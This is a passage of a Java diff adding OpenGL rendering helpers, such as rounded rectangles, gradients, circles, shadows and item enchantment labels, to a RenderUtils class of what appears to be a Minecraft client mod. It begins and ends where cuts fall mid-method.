zLevel).color(f5, f6, f7, f4).endVertex(); + worldrenderer.pos(right, bottom, zLevel).color(f5, f6, f7, f4).endVertex(); + tessellator.draw(); + GlStateManager.shadeModel(7424); + disableBlend(); + GlStateManager.enableAlpha(); + enableTexture2D(); + GlStateManager.popMatrix(); + } + + public static void drawRDRect(final float left, final float top, final float width, final float height, final int color) { + final float f3 = (color >> 24 & 0xFF) / 255.0f; + final float f4 = (color >> 16 & 0xFF) / 255.0f; + final float f5 = (color >> 8 & 0xFF) / 255.0f; + final float f6 = (color & 0xFF) / 255.0f; + final Tessellator tessellator = Tessellator.getInstance(); + final WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(f4, f5, f6, f3); + worldrenderer.begin(7, DefaultVertexFormats.POSITION); + worldrenderer.pos(left, (top + height), 0.0).endVertex(); + worldrenderer.pos((left + width), (top + height), 0.0).endVertex(); + worldrenderer.pos((left + width), top, 0.0).endVertex(); + worldrenderer.pos(left, top, 0.0).endVertex(); + tessellator.draw(); + GlStateManager.enableTexture2D(); + GlStateManager.disableBlend(); + } + public static void drawGradientRoundedRect(int left, int top, int right, int bottom, int radius, int startColor, int endColor) { + Stencil.write(false); + GL11.glDisable(GL11.GL_TEXTURE_2D); + GL11.glEnable(GL11.GL_BLEND); + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA); + fastRoundedRect(left, top, right, bottom, radius); + GL11.glDisable(GL11.GL_BLEND); + GL11.glEnable(GL11.GL_TEXTURE_2D); + Stencil.erase(true); + drawGradientRect(left, top, right, bottom, startColor, endColor); + Stencil.dispose(); + } + + public static void drawRoundedRect(float x, float y, float x1, float y1, int borderC, int insideC) { + drawRect(x + 0.5F, y, x1 - 0.5F, y + 0.5F, insideC); + drawRect(x + 0.5F, y1 - 0.5F, x1 - 0.5F, y1, insideC); + drawRect(x, y + 0.5F, x1, y1 - 0.5F, insideC); + } + + public static void drawRoundedRect3(float x, float y, float x2, float y2, final float round, final int color,final int mode) { + final float rectX = x,rectY = y, rectX2 = x2, rectY2 = y2; + x += (float) (round / 2.0f + 0.5); + y += (float) (round / 2.0f + 0.5); + x2 -= (float) (round / 2.0f + 0.5); + y2 -= (float) (round / 2.0f + 0.5); + if(mode == 1) + drawRect(x , rectY, rectX2, rectY2, color); + else + drawRect(rectX, rectY, x2, rectY2, color); + circle(x2 - round / 2.0f, y + round / 2.0f, round, color); + circle(x + round / 2.0f, y2 - round / 2.0f, round, color); + circle(x + round / 2.0f, y + round / 2.0f, round, color); + circle(x2 - round / 2.0f, y2 - round / 2.0f, round, color); + drawRect((int) (x - round / 2.0f - 0.5f), (int) (y + round / 2.0f), (int) x2, (int) (y2 - round / 2.0f), + color); + drawRect((int) x, (int) (y + round / 2.0f), (int) (x2 + round / 2.0f + 0.5f), (int) (y2 - round / 2.0f), + color); + drawRect((int) (x + round / 2.0f), (int) (y - round / 2.0f - 0.5f), (int) (x2 - round / 2.0f), + (int) (y2 - round / 2.0f), color); + drawRect((int) (x + round / 2.0f), (int) y, (int) (x2 - round / 2.0f), (int) (y2 + round / 2.0f + 0.5f), + color); + } + + public static void enableRender2D() { + GL11.glEnable(3042); + GL11.glDisable(2884); + GL11.glDisable(3553); + GL11.glEnable(2848); + GL11.glBlendFunc(770, 771); + GL11.glLineWidth(1.0f); + } + + public static void color(final int color, final float alpha) { + final float r = (color >> 16 & 0xFF) / 255.0f; + final float g = (color >> 8 & 0xFF) / 255.0f; + final float b = (color & 0xFF) / 255.0f; + GlStateManager.color(r, g, b, alpha); + } + + public static void color(final int color) { + color(color, (color >> 24 & 0xFF) / 255.0f); + } + + public static void drawRoundedRect(final float x, final float y, final float width, final float height, float edgeRadius, int color, final float borderWidth, int borderColor) { + if (color == 16777215) { + color = -65794; + } + if (borderColor == 16777215) { + borderColor = -65794; + } + if (edgeRadius < 0.0f) { + edgeRadius = 0.0f; + } + if (edgeRadius > width / 2.0f) { + edgeRadius = width / 2.0f; + } + if (edgeRadius > height / 2.0f) { + edgeRadius = height / 2.0f; + } + drawRDRect(x + edgeRadius, y + edgeRadius, width - edgeRadius * 2.0f, height - edgeRadius * 2.0f, color); + drawRDRect(x + edgeRadius, y, width - edgeRadius * 2.0f, edgeRadius, color); + drawRDRect(x + edgeRadius, y + height - edgeRadius, width - edgeRadius * 2.0f, edgeRadius, color); + drawRDRect(x, y + edgeRadius, edgeRadius, height - edgeRadius * 2.0f, color); + drawRDRect(x + width - edgeRadius, y + edgeRadius, edgeRadius, height - edgeRadius * 2.0f, color); + enableRender2D(); + color(color); + GL11.glBegin(6); + float centerX = x + edgeRadius; + float centerY = y + edgeRadius; + GL11.glVertex2d(centerX, centerY); + for (int vertices = (int)Math.min(Math.max(edgeRadius, 10.0f), 90.0f), i = 0; i < vertices + 1; ++i) { + final double angleRadians = 6.283185307179586 * (i + 180) / (vertices * 4); + GL11.glVertex2d(centerX + Math.sin(angleRadians) * edgeRadius, centerY + Math.cos(angleRadians) * edgeRadius); + } + GL11.glEnd(); + GL11.glBegin(6); + centerX = x + width - edgeRadius; + centerY = y + edgeRadius; + GL11.glVertex2d(centerX, centerY); + for (int vertices = (int)Math.min(Math.max(edgeRadius, 10.0f), 90.0f), i = 0; i < vertices + 1; ++i) { + final double angleRadians = 6.283185307179586 * (i + 90) / (vertices * 4); + GL11.glVertex2d(centerX + Math.sin(angleRadians) * edgeRadius, centerY + Math.cos(angleRadians) * edgeRadius); + } + GL11.glEnd(); + GL11.glBegin(6); + centerX = x + edgeRadius; + centerY = y + height - edgeRadius; + GL11.glVertex2d(centerX, centerY); + for (int vertices = (int)Math.min(Math.max(edgeRadius, 10.0f), 90.0f), i = 0; i < vertices + 1; ++i) { + final double angleRadians = 6.283185307179586 * (i + 270) / (vertices * 4); + GL11.glVertex2d(centerX + Math.sin(angleRadians) * edgeRadius, centerY + Math.cos(angleRadians) * edgeRadius); + } + GL11.glEnd(); + GL11.glBegin(6); + centerX = x + width - edgeRadius; + centerY = y + height - edgeRadius; + GL11.glVertex2d(centerX, centerY); + for (int vertices = (int)Math.min(Math.max(edgeRadius, 10.0f), 90.0f), i = 0; i < vertices + 1; ++i) { + final double angleRadians = 6.283185307179586 * i / (vertices * 4); + GL11.glVertex2d(centerX + Math.sin(angleRadians) * edgeRadius, centerY + Math.cos(angleRadians) * edgeRadius); + } + GL11.glEnd(); + color(borderColor); + GL11.glLineWidth(borderWidth); + GL11.glBegin(3); + centerX = x + edgeRadius; + centerY = y + edgeRadius; + int vertices; + int i; + for (vertices = (i = (int)Math.min(Math.max(edgeRadius, 10.0f), 90.0f)); i >= 0; --i) { + final double angleRadians = 6.283185307179586 * (i + 180) / (vertices * 4); + GL11.glVertex2d(centerX + Math.sin(angleRadians) * edgeRadius, centerY + Math.cos(angleRadians) * edgeRadius); + } + GL11.glVertex2d((x + edgeRadius), y); + GL11.glVertex2d((x + width - edgeRadius), y); + centerX = x + width - edgeRadius; + centerY = y + edgeRadius; + for (i = vertices; i >= 0; --i) { + final double angleRadians = 6.283185307179586 * (i + 90) / (vertices * 4); + GL11.glVertex2d(centerX + Math.sin(angleRadians) * edgeRadius, centerY + Math.cos(angleRadians) * edgeRadius); + } + GL11.glVertex2d((x + width), (y + edgeRadius)); + GL11.glVertex2d((x + width), (y + height - edgeRadius)); + centerX = x + width - edgeRadius; + centerY = y + height - edgeRadius; + for (i = vertices; i >= 0; --i) { + final double angleRadians = 6.283185307179586 * i / (vertices * 4); + GL11.glVertex2d(centerX + Math.sin(angleRadians) * edgeRadius, centerY + Math.cos(angleRadians) * edgeRadius); + } + GL11.glVertex2d((x + width - edgeRadius), (y + height)); + GL11.glVertex2d((x + edgeRadius), (y + height)); + centerX = x + edgeRadius; + centerY = y + height - edgeRadius; + for (i = vertices; i >= 0; --i) { + final double angleRadians = 6.283185307179586 * (i + 270) / (vertices * 4); + GL11.glVertex2d(centerX + Math.sin(angleRadians) * edgeRadius, centerY + Math.cos(angleRadians) * edgeRadius); + } + GL11.glVertex2d(x, (y + height - edgeRadius)); + GL11.glVertex2d(x, (y + edgeRadius)); + GL11.glEnd(); + disableRender2D(); + } + + public static void disableRender2D() { + GL11.glDisable(3042); + GL11.glEnable(2884); + GL11.glEnable(3553); + GL11.glDisable(2848); + GL11.glColor4f(1.0f, 1.0f, 1.0f, 1.0f); + GlStateManager.shadeModel(7424); + GlStateManager.disableBlend(); + GlStateManager.enableTexture2D(); + } + + public static int darker(int hexColor, int factor) { + float alpha = (float) (hexColor >> 24 & 255); + float red = Math.max((float) (hexColor >> 16 & 255) - (float) (hexColor >> 16 & 255) / (100.0F / (float) factor), 0.0F); + float green = Math.max((float) (hexColor >> 8 & 255) - (float) (hexColor >> 8 & 255) / (100.0F / (float) factor), 0.0F); + float blue = Math.max((float) (hexColor & 255) - (float) (hexColor & 255) / (100.0F / (float) factor), 0.0F); + return (int) ((float) (((int) alpha << 24) + ((int) red << 16) + ((int) green << 8)) + blue); + } + + public static int darker(final int color, final float factor) { + final int r = (int)((color >> 16 & 0xFF) * factor); + final int g = (int)((color >> 8 & 0xFF) * factor); + final int b = (int)((color & 0xFF) * factor); + final int a = color >> 24 & 0xFF; + return (r & 0xFF) << 16 | (g & 0xFF) << 8 | (b & 0xFF) | (a & 0xFF) << 24; + } + + public static void drawCheckeredBackground(final float x, float y, final float x2, final float y2) { + drawRect(x, y, x2, y2, getColor(16777215)); + boolean offset = false; + while (y < y2) { + for (float x3 = x + 0; x3 < x2; x3 += 2.0f) { + if (x3 <= x2 - 1.0f) { + drawRect(x3, y, x3 + 1.0f, y + 1.0f, getColor(8421504)); + } + } + ++y; + } + } + + public static int getColor(final int color) { + final int r = color >> 16 & 0xFF; + final int g = color >> 8 & 0xFF; + final int b = color & 0xFF; + final int a = 255; + return (r & 0xFF) << 16 | (g & 0xFF) << 8 | (b & 0xFF) | (a & 0xFF) << 24; + } + + public static void resettColor() { + GlStateManager.color(1.0f, 1.0f, 1.0f, 1.0f); + } + + public static void drawGradientRound(final float x, final float y, final float width, final float height, final float radius, final Color bottomLeft, final Color topLeft, final Color bottomRight, final Color topRight) { + RenderUtils.resettColor(); + GlStateManager.enableBlend(); + GlStateManager.blendFunc(770, 771); + Shader.drawQuads(x - 1.0f, y - 1.0f, width + 2.0f, height + 2.0f); + GlStateManager.disableBlend(); + } + public static void customRounded(float paramXStart, float paramYStart, float paramXEnd, float paramYEnd, float rTL, float rTR, float rBR, float rBL, int color) { + float alpha = (color >> 24 & 0xFF) / 255.0F; + float red = (color >> 16 & 0xFF) / 255.0F; + float green = (color >> 8 & 0xFF) / 255.0F; + float blue = (color & 0xFF) / 255.0F; + + float z = 0; + if (paramXStart > paramXEnd) { + z = paramXStart; + paramXStart = paramXEnd; + paramXEnd = z; + } + + if (paramYStart > paramYEnd) { + z = paramYStart; + paramYStart = paramYEnd; + paramYEnd = z; + } + + double xTL = paramXStart + rTL; + double yTL = paramYStart + rTL; + + double xTR = paramXEnd - rTR; + double yTR = paramYStart + rTR; + + double xBR = paramXEnd - rBR; + double yBR = paramYEnd - rBR; + + double xBL = paramXStart + rBL; + double yBL = paramYEnd - rBL; + + glPushMatrix(); + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + glLineWidth(1); + + glColor4f(red, green, blue, alpha); + glBegin(GL_POLYGON); + + double degree = Math.PI / 180; + if (rBR <= 0) + glVertex2d(xBR, yBR); + else for (double i = 0; i <= 90; i += 1) + glVertex2d(xBR + Math.sin(i * degree) * rBR, yBR + Math.cos(i * degree) * rBR); + + if (rTR <= 0) + glVertex2d(xTR, yTR); + else for (double i = 90; i <= 180; i += 1) + glVertex2d(xTR + Math.sin(i * degree) * rTR, yTR + Math.cos(i * degree) * rTR); + + if (rTL <= 0) + glVertex2d(xTL, yTL); + else for (double i = 180; i <= 270; i += 1) + glVertex2d(xTL + Math.sin(i * degree) * rTL, yTL + Math.cos(i * degree) * rTL); + + if (rBL <= 0) + glVertex2d(xBL, yBL); + else for (double i = 270; i <= 360; i += 1) + glVertex2d(xBL + Math.sin(i * degree) * rBL, yBL + Math.cos(i * degree) * rBL); + glEnd(); + + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + glPopMatrix(); + } + public static void drawGradientSideways(double left, double top, double right, double bottom, int col1, int col2) { + float f = (float) (col1 >> 24 & 255) / 255.0f; + float f1 = (float) (col1 >> 16 & 255) / 255.0f; + float f2 = (float) (col1 >> 8 & 255) / 255.0f; + float f3 = (float) (col1 & 255) / 255.0f; + float f4 = (float) (col2 >> 24 & 255) / 255.0f; + float f5 = (float) (col2 >> 16 & 255) / 255.0f; + float f6 = (float) (col2 >> 8 & 255) / 255.0f; + float f7 = (float) (col2 & 255) / 255.0f; + GL11.glEnable(3042); + GL11.glDisable(3553); + GL11.glBlendFunc(770, 771); + GL11.glEnable(2848); + GL11.glShadeModel(7425); + GL11.glPushMatrix(); + GL11.glBegin(7); + GL11.glColor4f(f1, f2, f3, f); + GL11.glVertex2d(left, top); + GL11.glVertex2d(left, bottom); + GL11.glColor4f(f5, f6, f7, f4); + GL11.glVertex2d(right, bottom); + GL11.glVertex2d(right, top); + GL11.glEnd(); + GL11.glPopMatrix(); + GL11.glEnable(3553); + GL11.glDisable(3042); + GL11.glDisable(2848); + GL11.glShadeModel(7424); + } + public static void drawShadow(float x, float y, float width, float height) { + drawTexturedRect(x - 9, y - 9, 9, 9, "paneltopleft"); + drawTexturedRect(x - 9, y + height, 9, 9, "panelbottomleft"); + drawTexturedRect(x + width, y + height, 9, 9, "panelbottomright"); + drawTexturedRect(x + width, y - 9, 9, 9, "paneltopright"); + drawTexturedRect(x - 9, y, 9, height, "panelleft"); + drawTexturedRect(x + width, y, 9, height, "panelright"); + drawTexturedRect(x, y - 9, width, 9, "paneltop"); + drawTexturedRect(x, y + height, width, 9, "panelbottom"); + } + + public static void drawTexturedRect(float x, float y, float width, float height, String image) { + glPushMatrix(); + final boolean enableBlend = glIsEnabled(GL_BLEND); + final boolean disableAlpha = !glIsEnabled(GL_ALPHA_TEST); + if (!enableBlend) glEnable(GL_BLEND); + if (!disableAlpha) glDisable(GL_ALPHA_TEST); + mc.getTextureManager().bindTexture(new ResourceLocation("fdpclient/ui/shadow/" + image + ".png")); + GlStateManager.color(1F, 1F, 1F, 1F); + RenderUtils.drawModalRectWithCustomSizedTexture(x, y, 0, 0, width, height, width, height); + if (!enableBlend) glDisable(GL_BLEND); + if (!disableAlpha) glEnable(GL_ALPHA_TEST); + glPopMatrix(); + } + + + public static void drawModalRectWithCustomSizedTexture(float x, float y, float u, float v, float width, float height, float textureWidth, float textureHeight) + { + float f = 1.0F / textureWidth; + float f1 = 1.0F / textureHeight; + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + worldrenderer.begin(7, DefaultVertexFormats.POSITION_TEX); + worldrenderer.pos(x, (y + height), 0.0D).tex((u * f), ((v + height) * f1)).endVertex(); + worldrenderer.pos((x + width), (y + height), 0.0D).tex(((u + width) * f), ((v + height) * f1)).endVertex(); + worldrenderer.pos((x + width), y, 0.0D).tex(((u + width) * f), (v * f1)).endVertex(); + worldrenderer.pos(x, y, 0.0D).tex((u * f), (v * f1)).endVertex(); + tessellator.draw(); + } + + public static void drawExhiEnchants(ItemStack stack, float x, float y) { + RenderHelper.disableStandardItemLighting(); + GlStateManager.disableDepth(); + disableBlend(); + GlStateManager.resetColor(); + final int darkBorder = 0xFF000000; + if (stack.getItem() instanceof ItemArmor) { + int prot = EnchantmentHelper.getEnchantmentLevel(Enchantment.protection.effectId, stack); + int unb = EnchantmentHelper.getEnchantmentLevel(Enchantment.unbreaking.effectId, stack); + int thorn = EnchantmentHelper.getEnchantmentLevel(Enchantment.thorns.effectId, stack); + if (prot > 0) { + drawExhiOutlined(prot + "", drawExhiOutlined("P", x, y, darkBorder, -1), y, getBorderColor(prot), getMainColor(prot)); + y += 4; + } + if (unb > 0) { + drawExhiOutlined(unb + "", drawExhiOutlined("U", x, y, darkBorder, -1), y, getBorderColor(unb),getMainColor(unb)); + y += 4; + } + if (thorn > 0) { + drawExhiOutlined(thorn + "", drawExhiOutlined("T", x, y, darkBorder, -1), y, getBorderColor(thorn), getMainColor(thorn)); + y += 4; + } + } + if (stack.getItem() instanceof ItemBow) { + int power = EnchantmentHelper.getEnchantmentLevel(Enchantment.power.effectId, stack); + int punch = EnchantmentHelper.getEnchantmentLevel(Enchantment.punch.effectId, stack); + int flame = EnchantmentHelper.getEnchantmentLevel(Enchantment.flame.effectId, stack); + int unb = EnchantmentHelper.getEnchantmentLevel(Enchantment.unbreaking.effectId, stack); + if (power > 0) { + drawExhiOutlined(power + "", drawExhiOutlined("Pow", x, y, darkBorder, -1), y, getBorderColor(power), getMainColor(power)); + y += 4; + } + if (punch > 0) { + drawExhiOutlined(punch + "", drawExhiOutlined("Pun", x, y, darkBorder, -1), y, getBorderColor(punch), getMainColor(punch)); + y += 4; + } + if (flame > 0) { + drawExhiOutlined(flame + "", drawExhiOutlined("F", x, y, darkBorder, -1), y, getBorderColor(flame), getMainColor(flame)); + y += 4; + } + if (unb > 0) { + drawExhiOutlined(unb + "", drawExhiOutlined("U", x, y, darkBorder, -1), y, getBorderColor(unb), getMainColor(unb)); + y += 4; + } + } + if (stack.getItem() instanceof ItemSword) { + int sharp = EnchantmentHelper.getEnchantmentLevel(Enchantment.sharpness.effectId, stack); + int kb = EnchantmentHelper.getEnchantmentLevel(Enchantment.knockback.effectId, stack); + int fire = EnchantmentHelper.getEnchantmentLevel(Enchantment.fireAspect.effectId, stack); + int unb = EnchantmentHelper.getEnchantmentLevel(Enchantment.unbreaking.effectId, stack); + if (sharp > 0) { + drawExhiOutlined(sharp + "", drawExhiOutlined("S", x, y, darkBorder, -1), y, getBorderColor(sharp), getMainColor(sharp)); + y += 4; + } + if (kb > 0) { + drawExhiOutlined(kb + "", drawExhiOutlined("K", x, y, darkBorder, -1), y, getBorderColor(kb), getMainColor(kb)); + y += 4; + } + if (fire > 0) { + drawExhiOutlined(fire + "", drawExhiOutlined("F", x, y, darkBorder, -1), y, getBorderColor(fire), getMainColor(fire)); + y += 4; + } + if (unb > 0) { + drawExhiOutlined(unb + "", drawExhiOutlined("U", x, y, darkBorder, -1), y, getBorderColor(unb), getMainColor(unb)); + } + } + GlStateManager.enableDepth(); + RenderHelper.enableGUIStandardItemLighting(); + } + + private static float drawExhiOutlined(String text, float x, float y, int borderColor, int mainColor) { + Fonts.fontTahomaSmall.drawString(text, x, y - (float) 0.35, borderColor); + Fonts.fontTahomaSmall.drawString(text, x, y + (float) 0.35, borderColor); + Fonts.fontTahomaSmall.drawString(text, x - (float) 0.35, y, borderColor); + Fonts.fontTahomaSmall.drawString(text, x + (float) 0.35, y, borderColor); + if (true) + Fonts.fontTahomaSmall.drawString(text, x, y, mainColor); + return x + Fonts.fontTahomaSmall.getWidth(text) - 2F; + } + + public static void drawFilledCircle(int xx, int yy, float radius, int col) { + float f = (float) (col >> 24 & 255) / 255.0f; + float f1 = (float) (col >> 16 & 255) / 255.0f; + float f2 = (float) (col >> 8 & 255) / 255.0f; + float f3 = (float) (col & 255) / 255.0f; + int sections = 50; + double dAngle = 6.283185307179586 / sections; + GL11.glPushMatrix(); + GL11.glEnable(3042); + GL11.glDisable(3553); + GL11.glEnable(2848); + GL11.glBlendFunc(770, 771); + GL11.glBegin(6); + int i = 0; + while (i < sections) { + float x = (float) (radius * Math.sin(i * dAngle)); + float y = (float) (radius * Math.cos(i * dAngle)); + GL11.glColor4f(f1, f2, f3, f); + GL11.glVertex2f((float) xx + x, (float) yy + y); + ++i; + } + GlStateManager.color(0.0f, 0.0f, 0.0f); + GL11.glEnd(); + GL11.glEnable(3553); + GL11.glDisable(3042); + GL11.glDisable(2848); + GL11.glPopMatrix(); + } + + private static int getMainColor(int level) { + if (level == 4) + return 0xFFAA0000; + return -1; + } + public static void drawSquareTriangle(float cx, float cy, float dirX, float dirY, Color color, boolean filled) { + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.resetColor(); + glColor(color); + worldrenderer.begin(filled ? 5 : 2, DefaultVertexFormats.POSITION); + worldrenderer.pos(cx + dirX, cy, 0D).endVertex(); + worldrenderer.pos(cx, cy, 0D).endVertex(); + worldrenderer.pos(cx, cy + dirY, 0D).endVertex(); + worldrenderer.pos(cx + dirX, cy, 0D).endVertex(); + tessellator.draw(); + enableTexture2D(); + disableBlend(); + GlStateManager.color(1, 1, 1, 1); + } + + private static int getBorderColor(int level) { + if (level == 2) + return 0x7055FF55; + if (level == 3) + return 0x7000AAAA; + if (level == 4) + return 0x70AA0000; + if (level >= 5) + return 0x70FFAA00; + return 0x70FFFFFF; + } + public static void drawRoundedCornerRect(float x, float y, float x1, float y1, float radius) { + glBegin(GL_POLYGON); + + float xRadius = (float) Math.min((x1 - x) * 0.5, radius); + float yRadius = (float) Math.min((y1 - y) * 0.5, radius); + quickPolygonCircle(x + xRadius,y + yRadius, xRadius, yRadius,180,270); + quickPolygonCircle(x1 - xRadius,y + yRadius, xRadius, yRadius,90,180); + quickPolygonCircle(x1 - xRadius,y1 - yRadius, xRadius, yRadius,0,90); + quickPolygonCircle(x + xRadius,y1 - yRadius, xRadius, yRadius,270,360); + + glEnd(); + } + + public static void drawRoundedRect2(float x, float y, float x2, float y2, final float round, final int color) { + x += (float) (round / 2.0f + 0.5); + y += (float) (round / 2.0f + 0.5); + x2 -= (float) (round / 2.0f + 0.5); + y2 -= (float) (round / 2.0f + 0.5); + drawRect((int) x, (int) y, (int) x2, (int) y2, color); + circle(x2 - round / 2.0f, y + round / 2.0f, round, color); + circle(x + round / 2.0f, y2 - round / 2.0f, round, color); + circle(x + round / 2.0f, y + round / 2.0f, round, color); + circle(x2 - round / 2.0f, y2 - round / 2.0f, round, color); + drawRect((int) (x - round / 2.0f - 0.5f), (int) (y + round / 2.0f), (int) x2, (int) (y2 - round / 2.0f), + color); + drawRect((int) x, (int) (y + round / 2.0f), (int) (x2 + round / 2.0f + 0.5f), (int) (y2 - round / 2.0f), + color); + drawRect((int) (x + round / 2.0f), (int) (y - round / 2.0f - 0.5f), (int) (x2 - round / 2.0f), + (int) (y2 - round / 2.0f), color); + drawRect((int) (x + round / 2.0f), (int) y, (int) (x2 - round / 2.0f), (int) (y2 + round / 2.0f + 0.5f), + color); + } + + public static void circle(final float x, final float y, final float radius, final int fill) { + + arc(x, y, 0.0f, 360.0f, radius, fill); + } // 1 + + public static void circle(final float x, final float y, final float radius, final Color fill) { + arc(x, y, 0.0f, 360.0f, radius, fill); + } // 2 + + public static void arc(final float x, final float y, final float start, final float end, final float radius, + final int color) { + arcEllipse(x, y, start, end, radius, radius, color); + } // 1 + + public static void arc(final float x, final float y, final float start, final float end, final float radius, + final Color color) { + arcEllipse(x, y, start, end, radius, radius, color); + } // 2 + + + public static void arcEllipse(final float x, final float y, float start, float end, final float w, final float h, + final int color) { // 1 + GlStateManager.color(0.0f, 0.0f, 0.0f); + GL11.glColor4f(0.0f, 0.0f, 0.0f, 0.0f); + float temp; + if (start > end) { + temp = end; + end = start; + start = temp; + } + final float alpha = (color >> 24 & 0xFF) / 255.0f; + final float red = (color >> 16 & 0xFF) / 255.0f; + final float green = (color >> 8 & 0xFF) / 255.0f; + final float blue = (color & 0xFF) / 255.0f; + final Tessellator tessellator = Tessellator.getInstance(); + tessellator.getWorldRenderer(); + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(red, green, blue, alpha); + if (alpha > 0.5f) { + GL11.glEnable(GL_POLYGON_SMOOTH); + GL11.glEnable(2848); + GL11.glLineWidth(2.0f); + GL11.glBegin(3); + for (float i = end; i >= start; i -= 4.0f) { + final float ldx = (float) Math.cos(i * Math.PI / 180.0) * w * 1.001f; + final float ldy = (float) Math.sin(i * Math.PI / 180.0) * h * 1.001f; + GL11.glVertex2f(x + ldx, y + ldy); + } + GL11.glEnd(); + GL11.glDisable(2848); + GL11.glDisable(GL_POLYGON_SMOOTH); + } + GL11.glBegin(6); + for (float i = end; i >= start; i -= 4.0F) { + final float ldx = (float) Math.cos(i * Math.PI / 180.0) * w; + final float ldy = (float) Math.sin(i * Math.PI / 180.0) * h; + GL11.glVertex2f(x + ldx, y + ldy); + } + GL11.glEnd(); + enableTexture2D(); + disableBlend(); + } + + public static void arcEllipse(final float x, final float y, float start, float end, final float w, final float h, + final Color color) { //2 + GlStateManager.color(0.0f, 0.0f, 0.0f); + GL11.glColor4f(0.0f, 0.0f, 0.0f, 0.0f); + float temp; + if (start > end) { + temp = end; + end = start; + start = temp; + } + final Tessellator var9 = Tessellator.getInstance(); + var9.getWorldRenderer(); + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(color.getRed() / 255.0f, color.getGreen() / 255.0f, color.getBlue() / 255.0f, + color.getAlpha() / 255.0f); + if (color.getAlpha() > 0.5f) { + GL11.glEnable(2848); + GL11.glLineWidth(2.0f); + GL11.glBegin(3); + for (float i = end; i >= start; i -= 4.0f) { + final float ldx = (float) Math.cos(i * Math.PI / 180.0) * w * 1.001f; + final float ldy = (float) Math.sin(i * Math.PI / 180.0) * h * 1.001f; + GL11.glVertex2f(x + ldx, y + ldy); + } + GL11.glEnd(); + GL11.glDisable(2848); + } + GL11.glBegin(6); + for (float i = end; i >= start; i -= 4.0f) { + final float ldx = (float) Math.cos(i * Math.PI / 180.0) * w; + final float ldy = (float) Math.sin(i * Math.PI / 180.0) * h; + GL11.glVertex2f(x + ldx, y + ldy); + } + GL11.glEnd(); + enableTexture2D(); + disableBlend(); + } + + public static void fastRoundedRect(float paramXStart, float paramYStart, float paramXEnd, float paramYEnd, float radius) { + float z; + if (paramXStart > paramXEnd) { + z = paramXStart; + paramXStart = paramXEnd; + paramXEnd = z; + } + + if (paramYStart > paramYEnd) { + z = paramYStart; + paramYStart = paramYEnd; + paramYEnd = z; + } + + double x1 = (paramXStart + radius); + double y1 = (paramYStart + radius); + double x2 = (paramXEnd - radius); + double y2 = (paramYEnd - radius); + + glEnable(GL_LINE_SMOOTH); + glLineWidth(1); + + glBegin(GL_POLYGON); + + double degree = Math.PI / 180; + for (double i = 0; i <= 90; i += 1) + glVertex2d(x2 + Math.sin(i * degree) * radius, y2 + Math.cos(i * degree) * radius); + for (double i = 90; i <= 180; i += 1) + glVertex2d(x2 + Math.sin(i * degree) * radius, y1 + Math.cos(i * degree) * radius); + for (double i = 180; i <= 270; i += 1) + glVertex2d(x1 + Math.sin(i * degree) * radius, y1 + Math.cos(i * degree) * radius); + for (double i = 270; i <= 360; i += 1) + glVertex2d(x1 + Math.sin(i * degree) * radius, y2 + Math.cos(i * degree) * radius); + glEnd(); + glDisable(GL_LINE_SMOOTH); + } + + public static double interpolate(double current, double old, double scale) { + return old + (current - old) * scale; + } + public static boolean isInViewFrustrum(Entity entity) { + return isInViewFrustrum(entity.getEntityBoundingBox()) || entity.ignoreFrustumCheck; + } + private static final Frustum frustrum = new Frustum(); + private static boolean isInViewFrustrum(AxisAlignedBB bb) { + Entity current = mc.getRenderViewEntity(); + frustrum.setPosition(current.posX, current.posY, current.posZ); + return frustrum.isBoundingBoxInFrustum(bb); + } + + public static void drawFilledCircleNoGL(final int x, final int y, final double r, final int c, final int quality) { + final float f = ((c >> 24) & 0xff) / 255F; + final float f1 = ((c >> 16) & 0xff) / 255F; + final float f2 = ((c >> 8) & 0xff) / 255F; + final float f3 = (c & 0xff) / 255F; + + GL11.glColor4f(f1, f2, f3, f); + GL11.glBegin(GL11.GL_TRIANGLE_FAN); + + for (int i = 0; i <= 360 / quality; i++) { + final double x2 = Math.sin(((i * quality * Math.PI) / 180)) * r; + final double y2 = Math.cos(((i * quality * Math.PI) / 180)) * r; + GL11.glVertex2d(x + x2, y + y2); + } + + GL11.glEnd(); + } + public static Framebuffer createFrameBuffer(Framebuffer framebuffer) { + if (framebuffer == null || framebuffer.framebufferWidth != mc.displayWidth || framebuffer.framebufferHeight != mc.displayHeight) { + if (framebuffer != null) { + framebuffer.deleteFramebuffer(); + } + return new Framebuffer(mc.displayWidth, mc.displayHeight, true); + } + return framebuffer; + } + + public static void bindTexture(int texture) { + glBindTexture(GL_TEXTURE_2D, texture); + } + + public static void drawFilledCircle(double x, double y, double r, int c, int id) { + float f = (float) (c >> 24 & 0xff) / 255F; + float f1 = (float) (c >> 16 & 0xff) / 255F; + float f2 = (float) (c >> 8 & 0xff) / 255F; + float f3 = (float) (c & 0xff) / 255F; + GL11.glEnable(GL11.GL_BLEND); + GL11.glDisable(GL11.GL_TEXTURE_2D); + GL11.glColor4f(f1, f2, f3, f); + GL11.glBegin(GL11.GL_POLYGON); + if (id == 1) { + GL11.glVertex2d(x, y); + for (int i = 0; i <= 90; i++) { + double x2 = Math.sin((i * 3.141526D / 180)) * r; + double y2 = Math.cos((i * 3.141526D / 180)) * r; + GL11.glVertex2d(x - x2, y - y2); + } + } else if (id == 2) { + GL11.glVertex2d(x, y); + for (int i = 90; i <= 180; i++) { + double x2 = Math.sin((i * 3.141526D / 180)) * r; + double y2 